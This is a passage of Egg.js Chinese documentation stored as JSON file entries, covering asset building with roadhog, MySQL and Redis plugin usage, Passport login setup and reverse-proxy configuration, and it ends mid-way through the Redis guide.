`context`，但你可以通过以下配置来修改它：\n\n```js\nexports.assets = {\n  contextKey: '__context__',\n};\n```\n\n## 构建工具\n\n这种模式最重要的是和构建工具整合，保证本地开发体验及自动部署，所以构建工具和框架需要有一层约定。\n\n下面以 roadhog 为例。\n\n### 映射关系\n\n构建工具的 entry 配置决定了映射关系，如基于 webpack 封装的 roadhog、umi 等工具内置了映射关系。如果单独使用 webpack，则需要根据这层映射来选择使用哪种方式：\n\n- 文件源码 `app/assets/index.js`，对应的 entry 为 `index.js`。\n- 本地静态服务接收以此为 entry，如请求 `http://127.0.0.1:8000/index.js`。\n- 构建生成的文件需要有这层映射关系，如生成 `index.{hash}.js` 并生成 manifest 文件描述关系，例如：\n\n  ```json\n  {\n    \"index.js\": \"index.{hash}.js\"\n  }\n  ```\n\nroadhog 完全满足这个映射关系，可使用 [assets 模板引擎](#使用-assets-模板引擎)。而 umi 不满足文件映射，因为它只有一个入口文件 `umi.js`。因此，可以选择[其他模板引擎](#使用其他模板引擎)的方案。\n\n**其他构建工具接入需要满足这层映射关系。**\n\n### 本地开发\n\n查看[示例配置](https://github.com/eggjs/examples/blob/master/assets-with-roadhog/config/config.default.js)，本地服务配置为 `roadhog dev`，配置 `port` 来检查服务是否启动完成。因为 roadhog 默认启动端口为 8000，所以这里配置为 8000：\n\n```js\nexports.assets = {\n  devServer: {\n    command: 'roadhog dev',\n    port: 8000,\n  },\n};\n```\n\n### 部署\n\n静态资源部署之前需要构建，配置 `roadhog build` 命令，并执行 `npm run build`：\n\n```json\n{\n  \"scripts\": {\n    \"build\": \"SET_PUBLIC_PATH=true roadhog build\"\n  }\n}\n```\n\n**注意**：此处添加了 `SET_PUBLIC_PATH` 变量，因为 roadhog 这样才能开启 publicPath。\n\n构建的结果根据 `.webpackrc` 配置的 output 决定，示例中是放到 `app/public` 目录下，由 `@eggjs/static` 提供服务。\n\n同时根据 `.webpackrc` 配置的 manifest 生成一个 `manifest.json` 文件到 `config` 目录下（Egg 读取此文件作为映射关系）。\n\n#### 应用提供服务\n\n现在，应用启动后可以通过 `http://127.0.0.1:7001/public/index.{hash}.js` 访问静态资源。这里多了一层 public 路径，所以需要添加 publicPath 配置：\n\n```js\n// config/config.prod.js\nexports.assets = {\n  publicPath: '/public/',\n};\n```\n\n#### 使用 CDN\n\n通常情况下，静态资源会部署到 CDN 上。因此，在构建完成后，平台需要将构建产物发布到 CDN，例如 `https://cdn/myapp/index.{hash}.js`。\n\n此时，除了 publicPath 还需修改静态资源地址：\n\n```js\n// config/config.prod.js\nexports.assets = {\n  url: 'https://cdn',\n  publicPath: '/myapp/',\n};\n```\n\n[webpack]: https://webpack.js.org/\n[roadhog]: https://github.com/sorrycc/roadhog\n[umi]: https://umijs.org/\n[egg-view-assets]: https://github.com/eggjs/egg-view-assets\n"
  },
  {
    "path": "site/docs/zh-CN/tutorials/index.md",
    "content": "# 教程\n\n- [快速入门](../intro/quickstart.md)\n- [渐进式开发](../intro/progressive.md)\n- [RESTful API](./restful.md)\n\n## 骨架类型说明\n\n你可以使用骨架类型，像下面这样：\n\n```bash\nnpx create-egg@beta --template tegg\n```\n\n### 选项\n\n| 骨架类型  |                  说明 |\n| :-------: | --------------------: |\n|  simple   | 简单 egg 应用程序骨架 |\n|   empty   | 空的 egg 应用程序骨架 |\n|  plugin   |          egg 插件骨架 |\n| framework |          egg 框架骨架 |\n\n## 模板引擎\n\n框架内置 [egg-view] 作为模板解决方案，并支持多模板渲染。每个模板引擎都以插件的形式引入，但保持渲染的 API 一致。查看[如何使用模板](/zh-CN/core/view.md)；如果想更深入地了解，可以查看[模板插件开发](/zh-CN/advanced/view-plugin.md)。\n\n可使用以下模板引擎，更多请[查看](https://github.com/search?utf8=%E2%9C%93&q=topic%3Aegg-view&type=Repositories&ref=searchresults)：\n\n- [egg-view-nunjucks]\n- [egg-view-react]\n- [egg-view-vue]\n- [egg-view-ejs]\n- [egg-view-handlebars]\n- [egg-view-pug]\n- [egg-view-xtpl]\n\n## 数据库\n\n官方维护的 ORM 模型是基于 [Leoric] 实现的 [egg-orm]。目前可用的数据库插件包括：\n\n- [egg-orm]\n- [egg-sequelize]\n- [egg-mongoose]\n- [egg-mysql]，可查看 [MySQL 教程](./mysql.md)\n- [@eggjs/redis]，可查看 [Redis 教程](./redis.md)\n- [egg-graphql]\n\n[egg-sequelize]: https://github.com/eggjs/egg-sequelize\n[egg-mongoose]: https://github.com/eggjs/egg-mongoose\n[egg-mysql]: https://github.com/eggjs/egg-mysql\n[egg-view]: https://github.com/eggjs/view\n[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks\n[egg-view-ejs]: https://github.com/eggjs/egg-view-ejs\n[egg-view-handlebars]: https://github.com/eggjs/egg-view-handlebars\n[egg-view-pug]: https://github.com/chrisyip/egg-view-pug\n[egg-view-xtpl]: https://github.com/eggjs/egg-view-xtpl\n[egg-view-react]: https://github.com/eggjs/egg-view-react\n[egg-view-vue]: https://github.com/eggjs/egg-view-vue\n[egg-graphql]: https://github.com/eggjs/egg-graphql\n[egg-orm]: https://github.com/eggjs/egg-orm/blob/master/Readme.zh-CN.md\n[Leoric]: https://leoric.js.org/zh\n[@eggjs/redis]: https://github.com/eggjs/egg/tree/next/plugins/redis\n"
  },
  {
    "path": "site/docs/zh-CN/tutorials/mysql.md",
    "content": "# MySQL\n\n在 Web 应用方面，MySQL 是最常见且最优秀的关系型数据库之一。许多网站选择 MySQL 作为网站数据库。\n\n## egg-mysql\n\n框架提供了 [egg-mysql] 插件来访问 MySQL 数据库。这个插件既可以访问普通的 MySQL 数据库，也可以访问基于 MySQL 协议的在线数据库服务。\n\n### 安装与配置\n\n安装对应的插件 [egg-mysql]：\n\n```bash\n$ npm i --save egg-mysql\n```\n\n开启插件：\n\n```js\n// config/plugin.js\nexports.mysql = {\n  enable: true,\n  package: 'egg-mysql',\n};\n```\n\n在 `config/config.${env}.js` 中配置各个环境的数据库连接信息。\n\n#### 单数据源\n\n如果我们的应用只需要访问一个 MySQL 数据库实例，可以按以下方式配置：\n\n```js\n// config/config.${env}.js\nexports.mysql = {\n  // 单数据库信息配置\n  client: {\n    // host\n    host: 'mysql.com',\n    // 端口号\n    port: '3306',\n    // 用户名\n    user: 'test_user',\n    // 密码\n    password: 'test_password',\n    // 数据库名\n    database: 'test',\n  },\n  // 是否加载到 app 上，默认开启\n  app: true,\n  // 是否加载到 agent 上，默认关闭\n  agent: false,\n};\n```\n\n使用方式：\n\n```js\nawait app.mysql.query(sql, values); // 单实例可以直接通过 app.mysql 访问\n```\n\n#### 多数据源\n\n如果我们的应用需要访问多个 MySQL 数据源，可以按照如下配置：\n\n```js\nexports.mysql = {\n  clients: {\n    // clientId, 获取 client 实例，需通过 app.mysql.get('clientId') 获取\n    db1: {\n      // host\n      host: 'mysql.com',\n      // 端口号\n      port: '3306',\n      // 用户名\n      user: 'test_user',\n      // 密码\n      password: 'test_password',\n      // 数据库名\n      database: 'test',\n    },\n    db2: {\n      // host\n      host: 'mysql2.com',\n      // 端口号\n      port: '3307',\n      // 用户名\n      user: 'test_user',\n      // 密码\n      password: 'test_password',\n      // 数据库名\n      database: 'test',\n    },\n    // ...\n  },\n  // 所有数据库配置的默认值\n  default: {},\n\n  // 是否加载到 app 上，默认开启\n  app: true,\n  // 是否加载到 agent 上，默认关闭\n  agent: false,\n};\n```\n\n使用方式：\n\n```js\nconst client1 = app.mysql.get('db1');\nawait client1.query(sql, values);\n\nconst client2 = app.mysql.get('db2');\nawait client2.query(sql, values);\n```\n\n#### 动态创建\n\n我们也可以不在配置文件中预先声明配置，而是在应用运行时动态地从配置中心获取实际参数，然后初始化一个实例。\n\n```js\n// {app_root}/app.js\nmodule.exports = (app) => {\n  app.beforeStart(async () => {\n    // 从配置中心获取 MySQL 的配置\n    // { host: 'mysql.com', port: '3306', user: 'test_user', password: 'test_password', database: 'test' }\n    const mysqlConfig = await app.configCenter.fetch('mysql');\n    app.database = app.mysql.createInstance(mysqlConfig);\n  });\n};\n```\n\n[egg-mysql]: https://github.com/eggjs/egg-mysql 'egg-mysql'\n\n## Service 层\n\n由于对 MySQL 数据库的访问操作属于 Web 层中的数据处理层，因此我们强烈建议将这部分代码放在 Service 层中维护。\n\n下面是一个 Service 中访问 MySQL 数据库的例子。\n\n更多 Service 层的介绍，可以参考 [Service](../basics/service.md)。\n\n```js\n// app/service/user.js\nclass UserService extends Service {\n  async find(uid) {\n    // 假如我们拿到用户 id，从数据库获取用户详细信息\n    const user = await this.app.mysql.get('users', { id: uid });\n    return { user };\n  }\n}\n```\n\n之后可以通过 Controller 获取 Service 层拿到的数据。\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async info() {\n    const ctx = this.ctx;\n    const userId = ctx.params.id;\n    const user = await ctx.service.user.find(userId);\n    ctx.body = user;\n  }\n}\n```\n\n在上述代码中，我们首先在 Service 层中定义了一个名为 `UserService` 的类，该类继承自 Service 基类。在 `UserService` 类中，我们定义了一个异步方法 `find`，该方法通过调用 `this.app.mysql.get` 方法从 `users` 表中获取到了 id 等于 uid 参数的用户数据，在获取数据后将用户信息以对象的形式返回。在 Controller 层，我们定义了一个名为 `UserController` 的类，该类继承自 Controller 基类。在 `UserController` 类中，我们定义了一个异步方法 `info`，该方法从上下文 `ctx` 中获取到了用户 ID，然后通过调用 `ctx.service.user.find` 方法获取到了用户信息，并最终将这个用户信息赋值给响应体 `ctx.body`。通过这种方式，我们就可以在 Controller 层中获取 Service 层提供的数据，从而实现层与层之间的数据传递和业务逻辑的分离。\n\n## 如何编写 CRUD 语句\n\n下面的语句，若没有特殊注明，默认都书写在 `app/service` 下。\n\n### Create\n\n可以直接使用 `insert` 方法插入一条记录。\n\n```js\n// 插入\nconst result = await this.app.mysql.insert('posts', { title: 'Hello World' }); // 在 posts 表中，插入 title 为 Hello World 的记录\n\n// SQL 语句相当于\n// INSERT INTO `posts`(`title`) VALUES('Hello World');\n\nconsole.log(result);\n// 输出为\n// {\n//   fieldCount: 0,\n//   affectedRows: 1,\n//   insertId: 3710,\n//   serverStatus: 2,\n//   warningCount: 2,\n//   message: '',\n//   protocol41: true,\n//   changedRows: 0\n// }\n\n// 判断插入成功\nconst insertSuccess = result.affectedRows === 1;\n```\n\n### Read\n\n可以直接使用 `get` 方法或 `select` 方法获取一条或多条记录。`select` 方法支持条件查询与结果定制。\n可以使用 `count` 方法对查询结果的所有行进行计数。\n\n- 查询一条记录\n\n```js\nconst post = await this.app.mysql.get('posts', { id: 12 });\n\n// SQL 语句相当于\n// SELECT * FROM `posts` WHERE `id` = 12 LIMIT 0, 1;\n```\n\n- 查询全表\n\n```js\nconst results = await this.app.mysql.select('posts');\n\n// SQL 语句相当于\n// SELECT * FROM `posts`;\n```\n\n- 条件查询和结果定制\n\n```js\nconst results = await this.app.mysql.select('posts', {\n  // 搜索 posts 表\n  where: { status: 'draft', author: ['author1', 'author2'] }, // WHERE 条件\n  columns: ['author', 'title'], // 要查询的字段\n  orders: [\n    ['created_at', 'desc'],\n    ['id', 'desc'],\n  ], // 排序方式\n  limit: 10, // 返回数据量\n  offset: 0, // 数据偏移量\n});\n\n// SQL 语句相当于\n// SELECT `author`, `title` FROM `posts`\n// WHERE `status` = 'draft' AND `author` IN('author1','author2')\n// ORDER BY `created_at` DESC, `id` DESC LIMIT 0, 10;\n```\n\n- 统计查询结果的行数\n\n```js\nconst total = await this.app.mysql.count('posts', { status: 'published' }); // 统计 posts 表中 status 为 published 的行数\n\n// SQL 语句相当于\n// SELECT COUNT(*) FROM `posts` WHERE `status` = 'published'\n```\n\n### Update\n\n可以直接使用 `update` 方法更新数据库记录。\n\n```js\n// 修改数据\nconst row = {\n  id: 123,\n  name: 'fengmk2',\n  otherField: 'other field value', // 其他想要更新的字段\n  modifiedAt: this.app.mysql.literals.now, // 数据库服务器上的当前时间\n};\nconst result = await this.app.mysql.update('posts', row); // 更新 posts 表中的记录\n\n// SQL 语句相当于\n// UPDATE `posts` SET `name` = 'fengmk2', `modifiedAt` = NOW() WHERE `id` = 123;\n\n// 判断更新成功\nconst updateSuccess = result.affectedRows === 1;\n\n// 如果主键是自定义的 ID 名称，如 custom_id，则需要在 `where` 里配置\nconst row2 = {\n  name: 'fengmk2',\n  otherField: 'other field value', // 其他想要更新的字段\n  modifiedAt: this.app.mysql.literals.now, // 数据库服务器上的当前时间\n};\n\nconst options = {\n  where: {\n    custom_id: 456,\n  },\n};\nconst result2 = await this.app.mysql.update('posts', row2, options); // 更新 posts 表中的记录\n\n// SQL 语句相当于\n// UPDATE `posts` SET `name` = 'fengmk2', `modifiedAt` = NOW() WHERE `custom_id` = 456 ;\n\n// 判断更新成功\nconst updateSuccess2 = result2.affectedRows === 1;\n```\n\n### Delete\n\n可以直接使用 `delete` 方法删除数据库记录。\n\n```js\nconst result = await this.app.mysql.delete('posts', {\n  author: 'fengmk2',\n});\n\n// SQL 语句相当于\n// DELETE FROM `posts` WHERE `author` = 'fengmk2';\n```\n\n## 直接执行 SQL 语句\n\n插件本身也支持拼接与直接执行 SQL 语句。使用 `query` 方法可以执行合法的 SQL 语句。\n\n**注意！！我们极其不建议开发者拼接 SQL 语句，这样很容易引起 SQL 注入！！**\n\n如果必须要自己拼接 SQL 语句，请使用 `mysql.escape` 方法。\n\n参考 [preventing-sql-injection-in-node-js](http://stackoverflow.com/questions/15778572/preventing-sql-injection-in-node-js)。\n\n```js\nconst postId = 1;\nconst results = await this.app.mysql.query(\n  'update posts set hits = (hits + ?) where id = ?',\n  [1, postId],\n);\n\n// => update posts set hits = (hits + 1) where id = 1;\n```\n\n## 使用事务\n\nMySQL 事务主要用于处理操作量大，复杂度高的数据。例如，在人员管理系统中，当你删除一个人员，你既需要删除人员的基本资料，也要删除与该人员相关的信息，如信箱、文章等等。这时候使用事务处理可以方便管理这一组操作。一个事务将一组连续的数据库操作，放在一个单一的工作单元来执行。只有该组内的每个单独的操作都成功，事务才能成功。如果事务中的任何操作失败，则整个事务将失败。\n\n一般来说，事务必须满足 4 个条件（ACID）：Atomicity（原子性）、Consistency（一致性）、Isolation（隔离性）、Durability（可靠性）。\n\n- 原子性：确保事务内的所有操作都成功完成，否则事务将被中止在故障点，以前的操作将回滚到以前的状态。\n- 一致性：对数据库的修改是一致的。\n- 隔离性：事务是彼此独立的，不互相影响。\n- 持久性：确保提交事务后，事务产生的结果可以永久存在。\n\n因此，对于一个事务来说，一定伴随着 `beginTransaction`、`commit` 或 `rollback`，分别代表事务的开始、成功和失败回滚。\n\negg-mysql 提供了两种类型的事务。\n\n### 手动控制\n\n- 优点：`beginTransaction`、`commit` 或 `rollback` 都由开发者完全控制，可以做到非常细粒度的控制。\n- 缺点：代码量比较多，不是每个人都能写好，忽视捕获异常和 cleanup 都会导致严重的 bug。\n\n```js\nconst conn = await app.mysql.beginTransaction(); // 初始化事务\n\ntry {\n  await conn.insert(table, row1); // 第一步操作\n  await conn.update(table, row2); // 第二步操作\n  await conn.commit(); // 提交事务\n} catch (err) {\n  // 错误，回滚\n  await conn.rollback(); // 一定记得捕获异常后回滚事务！！\n  throw err;\n}\n```\n\n### 自动控制：Transaction with scope\n\n- API：`beginTransactionScope(scope, ctx)`\n  - `scope`：一个 `generatorFunction`，在这个函数里执行这次事务的所有 SQL 语句。\n  - `ctx`：当前请求的上下文对象，传入 `ctx` 可以保证即使在出现事务嵌套的情况下，一次请求中同时只有一个激活状态的事务。\n- 优点：使用简单，容易操作，感觉事务不存在。\n- 缺点：整个事务要么成功，要么失败，无法做细粒度控制。\n\n```js\nconst result = await app.mysql.beginTransactionScope(async (conn) => {\n  // don't commit or rollback by yourself\n  await conn.insert(table, row1);\n  await conn.update(table, row2);\n  return { success: true };\n}, ctx); // `ctx` 是当前请求的上下文，如果是在 service 文件中，可以从 `this.ctx` 获取到\n// 如果在 scope 中抛出错误，将自动回滚\n```\n\n## 表达式（Literal）\n\n如果需要调用 MySQL 内置的函数（或表达式），可以使用 `Literal`。\n\n### 内置表达式\n\n- `NOW()`：数据库当前系统时间，通过 `app.mysql.literals.now` 获取。\n\n```js\nawait this.app.mysql.insert(table, {\n  create_time: this.app.mysql.literals.now,\n});\n\n// => INSERT INTO `$table` (`create_time`) VALUES (NOW())\n```\n\n### 自定义表达式\n\n以下示例展示如何调用 MySQL 内置的 `CONCAT(s1, ...sn)` 函数，进行字符串拼接。\n\n```js\nconst Literal = this.app.mysql.literals.Literal;\nconst first = 'James';\nconst last = 'Bond';\nawait this.app.mysql.insert(table, {\n  id: 123,\n  fullname: new Literal(`CONCAT(\"${first}\", \"${last}\")`),\n});\n\n// => INSERT INTO `$table` (`id`, `fullname`) VALUES (123, CONCAT(\"James\", \"Bond\"))\n```\n\n[egg-mysql]: https://github.com/eggjs/egg-mysql\n"
  },
  {
    "path": "site/docs/zh-CN/tutorials/passport.md",
    "content": "# Passport\n\n**『登录鉴权』** 是一个常见的业务场景，包括『账号密码登录方式』和『第三方统一登录』。\n\n其中，后者我们经常使用到，如 Google、GitHub、QQ 统一登录，它们都是基于 [OAuth](https://oauth.net/2/) 规范的。\n\n[Passport] 是一个扩展性很强的认证中间件，支持 `Github`、`Twitter`、`Facebook` 等知名服务厂商的 `Strategy`，同时也支持通过账号密码的方式进行登录授权校验。\n\nEgg 在它之上提供了 [egg-passport] 插件，把初始化、鉴权成功后的回调处理等通用逻辑封装掉，使得开发者仅需调用几个 API，即可方便地使用 Passport。\n\n[Passport] 的执行时序如下：\n\n- 用户访问页面；\n- 检查 Session；\n- 拦截并跳转到鉴权登录页面；\n- Strategy 进行鉴权；\n- 校验并存储用户信息；\n- 序列化用户信息到 Session；\n- 跳转到指定页面。\n\n## 使用 egg-passport\n\n下面，我们将以 GitHub 登录为例，来演示下如何使用。\n\n### 安装\n\n```bash\n$ npm i --save egg-passport\n$ npm i --save egg-passport-github\n```\n\n更多插件参见 [GitHub Topic - egg-passport](https://github.com/topics/egg-passport)。\n\n### 配置\n\n**开启插件：**\n\n```js\n// config/plugin.js\nexports.passport = {\n  enable: true,\n  package: 'egg-passport',\n};\n\nexports.passportGithub = {\n  enable: true,\n  package: 'egg-passport-github',\n};\n```\n\n**配置：**\n\n注意：[egg-passport] 标准化了配置字段，统一为 `key` 和 `secret`。\n\n```js\n// config/default.js\nexports.passportGithub = {\n  key: 'your_clientID',\n  secret: 'your_clientSecret',\n  // callbackURL: '/passport/github/callback',\n  // proxy: false,\n};\n```\n\n**注意：**\n\n- 创建一个 [GitHub OAuth Apps](https://github.com/settings/applications/new)，得到 `clientID` 和 `clientSecret` 信息。\n- 填写 `callbackURL`，如 `http://127.0.0.1:7001/passport/github/callback`。\n  - 线上部署时需要更新为对应的域名。\n  - 路径为配置的 `options.callbackURL`，默认为 `/passport/${strategy}/callback`。\n- 如应用部署在 Nginx/HAProxy 之后，需设置插件 `proxy` 选项为 `true`，并检查以下配置：\n  - 代理附加 HTTP 头字段：`x-forwarded-proto` 与 `x-forwarded-host`。\n  - 配置中 `config.proxy` 应设置为 `true`。\n\n### 挂载路由\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router } = app;\n\n  // 挂载鉴权路由\n  app.passport.mount('github');\n\n  // 上面的 mount 是语法糖，等价于\n  // const github = app.passport.authenticate('github', {});\n  // router.get('/passport/github', github);\n  // router.get('/passport/github/callback', github);\n};\n```\n\n### 用户信息处理\n\n接着，我们还需要：\n\n- 首次登录时，一般需要把用户信息入库，并记录 Session。\n- 二次登录时，从 OAuth 或 Session 拿到的用户信息，读取数据库拿到完整的用户信息。\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.passport.verify(async (ctx, user) => {\n    // 检查用户\n    assert(user.provider, 'user.provider should exists');\n    assert(user.id, 'user.id should exists');\n\n    // 从数据库中查找用户信息\n    //\n    // Authorization Table\n    // column   | desc\n    // ---      | ---\n    // provider | provider name, like github, twitter, facebook, weibo and so on\n    // uid      | provider unique id\n    // user_id  | current application user id\n    const auth = await ctx.model.Authorization.findOne({\n      uid: user.id,\n      provider: user.provider,\n    });\n    const existsUser = await ctx.model.User.findOne({ id: auth.user_id });\n    if (existsUser) {\n      return existsUser;\n    }\n    // 调用 service 注册新用户\n    const newUser = await ctx.service.user.register(user);\n    return newUser;\n  });\n\n  // 将用户信息序列化后存进 session 里面，一般需要精简，只保存个别字段\n  app.passport.serializeUser(async (ctx, user) => {\n    // 处理 user\n    // ...\n    // return user;\n  });\n\n  // 反序列化后从 session 中取出用户信息，反查数据库拿到完整信息\n  app.passport.deserializeUser(async (ctx, user) => {\n    // 处理 user\n    // ...\n    // return user;\n  });\n};\n```\n\n至此，我们就完成了所有的配置。完整的示例可以参见：[eggjs/examples/passport](https://github.com/topics/egg-passport)。\n\n### API\n\n`egg-passport` 提供了以下扩展：\n\n- `ctx.user`：获取当前已登录的用户信息。\n- `ctx.isAuthenticated()`：检查该请求是否已授权。\n- `ctx.login(user, [options])`：为用户启动一个登录的 session。\n- `ctx.logout()`：退出，将用户信息从 session 中清除。\n- `ctx.session.returnTo`：在跳转验证前设置，可以指定成功后的 redirect 地址。\n\n还提供了 API：\n\n- `app.passport.verify(async (ctx, user) => {})`：校验用户。\n- `app.passport.serializeUser(async (ctx, user) => {})`：序列化用户信息后存储进 session。\n- `app.passport.deserializeUser(async (ctx, user) => {})`：反序列化后取出用户信息。\n- `app.passport.authenticate(strategy, options)`：生成指定的鉴权中间件。\n  - `options.successRedirect`：指定鉴权成功后的 redirect 地址。\n  - `options.loginURL`：跳转登录地址，默认为 `/passport/${strategy}`。\n  - `options.callbackURL`：授权后回调地址，默认为 `/passport/${strategy}/callback`。\n- `app.passport.mount(strategy, options)`：语法糖，方便开发者配置路由。\n\n**注意：**\n\n- 在 `app.passport.authenticate` 中，如果未设置 `options.successRedirect` 或者 `options.successReturnToOrRedirect`，将默认跳转至 `/`。\n\n## 使用 Passport 生态\n\n`Passport` 的中间件很多，不可能都进行二次封装。接下来，我们来看看如何在框架中直接使用 `Passport` 中间件。以“账号密码登录方式”为例，采用 `passport-local` 中间件：\n\n### 安装\n\n```bash\n$ npm i --save passport-local\n```\n\n### 配置\n\n```javascript\n// app.js\nconst LocalStrategy = require('passport-local').Strategy;\n\nmodule.exports = (app) => {\n  // 挂载 strategy\n  app.passport.use(\n    new LocalStrategy(\n      {\n        passReqToCallback: true,\n      },\n      (req, username, password, done) => {\n        // 格式化 user\n        const user = {\n          provider: 'local',\n          username,\n          password,\n        };\n        app.passport.doVerify(req, user, done);\n      },\n    ),\n  );\n\n  // 处理用户信息\n  app.passport.verify(async (ctx, user) => {});\n  app.passport.serializeUser(async (ctx, user) => {});\n  app.passport.deserializeUser(async (ctx, user) => {});\n};\n```\n\n### 挂载路由\n\n```javascript\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index);\n\n  // 鉴权成功后的回调页面\n  router.get('/authCallback', controller.home.authCallback);\n\n  // 渲染登录页面，用户输入账号密码\n  router.get('/login', controller.home.login);\n  // 登录校验\n  router.post(\n    '/login',\n    app.passport.authenticate('local', { successRedirect: '/authCallback' }),\n  );\n};\n```\n\n## 如何开发一个 egg-passport 插件\n\n在上一节中，我们学会了如何在框架中使用 Passport 中间件，我们可以进一步把它封装成插件，回馈社区。\n\n**初始化：**\n\n```bash\n$ npm init egg --type=plugin egg-passport-local\n```\n\n在 `package.json` 中配置依赖：\n\n```json\n{\n  \"name\": \"egg-passport-local\",\n  \"version\": \"1.0.0\",\n  \"eggPlugin\": {\n    \"name\": \"passportLocal\",\n    \"dependencies\": [\"passport\"]\n  },\n  \"dependencies\": {\n    \"passport-local\": \"^1.0.0\"\n  }\n}\n```\n\n**配置：**\n\n```js\n// plugin_root/config/config.default.js\n// https://github.com/jaredhanson/passport-local\nexports.passportLocal = {};\n```\n\n注意：`egg-passport` 标准化了配置字段，统一为 `key` 和 `secret`。因此，如果对应的 Passport 中间件属性名不一致时，开发者应该进行转换。\n\n**注册 passport 中间件：**\n\n```js\n// plugin_root/app.js\nconst LocalStrategy = require('passport-local').Strategy;\n\nmodule.exports = (app) => {\n  const config = app.config.passportLocal;\n  config.passReqToCallback = true;\n\n  app.passport.use(\n    new LocalStrategy(config, (req, username, password, done) => {\n      // 把 Passport 插件返回的数据进行清洗处理，返回 User 对象\n      const user = {\n        provider: 'local',\n        username,\n        password,\n      };\n      // 这里不处理应用层逻辑，传给 app.passport.verify 统一处理\n      app.passport.doVerify(req, user, done);\n    }),\n  );\n};\n```\n\n[passport]: http://www.passportjs.org/\n[egg-passport]: https://github.com/eggjs/egg-passport\n[passport-local]: https://github.com/jaredhanson/passport-local\n[eggjs/examples/passport]: https://github.com/eggjs/examples/tree/master/passport\n"
  },
  {
    "path": "site/docs/zh-CN/tutorials/proxy.md",
    "content": "# 前置代理模式\n\n一般来说，我们的服务都不会直接接受外部的请求，而会将服务部署在接入层之后。这样做可以实现多台机器的负载均衡和服务的平滑发布，保证高可用。\n\n在这个场景下，我们无法直接获取到真实用户请求的连接，从而无法确认用户的真实 IP、请求协议，甚至请求的域名。为了解决这个问题，框架默认提供了一系列配置项，以便开发者基于与接入层的约定（事实标准）来使应用层获取真实的用户请求信息。\n\n## 开启前置代理模式\n\n通过设置 `config.proxy = true` 可以开启前置代理模式：\n\n```js\n// config/config.default.js\n\nexports.proxy = true;\n```\n\n注意，开启此模式后，应用就默认处于反向代理之后。它会支持通过解析约定的请求头来获取用户真实的 IP、协议和域名。如果你的服务未部署在反向代理之后，请不要开启此配置，以防被恶意用户伪造请求 IP 等信息。\n\n### `config.ipHeaders`\n\n开启 proxy 配置后，应用会解析 [X-Forwarded-For](https://en.wikipedia.org/wiki/X-Forwarded-For) 请求头来获取客户端的真实 IP。如果你的前置代理通过其他请求头传递该信息，可以通过 `config.ipHeaders` 来配置。此配置项支持配置多个头（逗号分开）。\n\n```js\n// config/config.default.js\n\nexports.ipHeaders = 'X-Real-Ip, X-Forwarded-For';\n```\n\n### `config.maxIpsCount`\n\n`X-Forwarded-For` 等传递 IP 的头，通常格式是：\n\n```\nX-Forwarded-For: client, proxy1, proxy2\n```\n\n通常我们可以取第一个作为请求的真实 IP。但是，如果有恶意用户在请求中传递了 `X-Forwarded-For` 参数，以伪造其位置在反向代理之后，将会导致获取的 `X-Forwarded-For` 值变得不准确。这可能被用来伪造请求 IP 地址，绕过应用层的某些 IP 限制。\n\n```\nX-Forwarded-For: fake, client, proxy1, proxy2\n```\n\n为避免此问题，我们可以通过 `config.maxIpsCount` 来限制前置代理的数量。这样在获取请求真实 IP 地址时，会忽略掉用户所传递的伪造 IP 地址。例如，如果我们将应用部署在一个统一的接入层后（如阿里云 SLB），可以将此参数配置为 `1`。这样用户就无法通过 `X-Forwarded-For` 请求头伪造 IP 地址了。\n\n```js\n// config/config.default.js\n\nexports.maxIpsCount = 1;\n```\n\n此配置项与 [koa](https://github.com/koajs/koa/blob/master/docs/api/request.md#requestips) 提供的 `options.maxIpsCount` 作用一致。\n\n### `config.protocolHeaders`\n\n开启 proxy 配置后，应用会解析 [X-Forwarded-Proto](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Proto) 请求头来获取客户端的真实访问协议。如果你的前置代理通过其他请求头传递该信息，可以通过 `config.protocolHeaders` 来配置。此配置项支持配置多个头（逗号分开）。\n\n```js\n// config/config.default.js\n\nexports.protocolHeaders = 'X-Real-Proto, X-Forwarded-Proto';\n```\n\n### `config.hostHeaders`\n\n开启 proxy 配置后，应用通常会直接读取 `host` 来获取请求的域名，因为大多数反向代理不会修改这个值。但有时，一些反向代理会通过 [X-Forwarded-Host](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Host) 传递客户端的真实访问域名。你可以在 `config.hostHeaders` 中配置此信息，配置项支持多个头（逗号分开）。\n\n```js\n// config/config.default.js\n\nexports.hostHeaders = 'X-Forwarded-Host';\n```\n"
  },
  {
    "path": "site/docs/zh-CN/tutorials/redis.md",
    "content": "# Redis\n\n[Redis](https://redis.io/) 是一个高性能的内存数据存储，广泛用于缓存、会话管理、消息队列等场景。\n\n## @eggjs/redis\n\n框架提供了 [@eggjs/redis](https://github.com/eggjs/egg/tree/next/plugins/redis) 插件来访问 Redis。该插件基于 [ioredis](https://github.com/redis/ioredis)，支持单客户端、多客户端和集群模式。\n\n### 安装与配置\n\n安装插件：\n\n```bash\nnpm i @eggjs/redis\n```\n\n开启插件：\n\n```ts\n// config/plugin.ts\nexport default {\n  redis: {\n    enable: true,\n    package: '@eggjs/redis',\n  },\n};\n```\n\n#### 单客户端\n\n```ts\n// config/config.default.ts\nexport default function () {\n  return {\n    redis: {\n      client: {\n        host: '127.0.0.1',\n        port: 6379,\n        password: '',\n        db: 0,\n      },\n    },\n  };\n}\n```\n\n#### 多客户端\n\n```ts\n// config/config.default.ts\nexport default function () {\n  return {\n    redis: {\n      clients: {\n        cache: {\n          host: '127.0.0.1',\n          port: 6379,\n          password: '',\n          db: 0,\n        },\n        session: {\n          host: '127.0.0.1',\n          port: 6379,\n          password: '',\n          db: 1,\n        },\n      },\n    },\n  };\n}\n```\n\n#### 集群模式\n\n```ts\n// config/config.default.ts\nexport default function () {\n  return {\n    redis: {\n      client: {\n        cluster: true,\n        nodes: [\n          { host: '127.0.0.1', port: 6380 },\n          { host: '127.0.0.1', port: 6381 },\n        ],\n      },\n    },\n  };\n}\n```\n\n### 使用方式\n\n#### 单客户端\n\n```ts\n// app/controller/home.ts\nimport { Context } from 'egg';\n\nexport default class HomeController {\n  async index(ctx: Context) {\n    // 设置值\n    await ctx.app.redis.set('foo', 'bar');\n\n    // 获取值\n    const value = await ctx.app.redis.get('foo');\n\n    // 设置值并指定过期时间（秒）\n    await 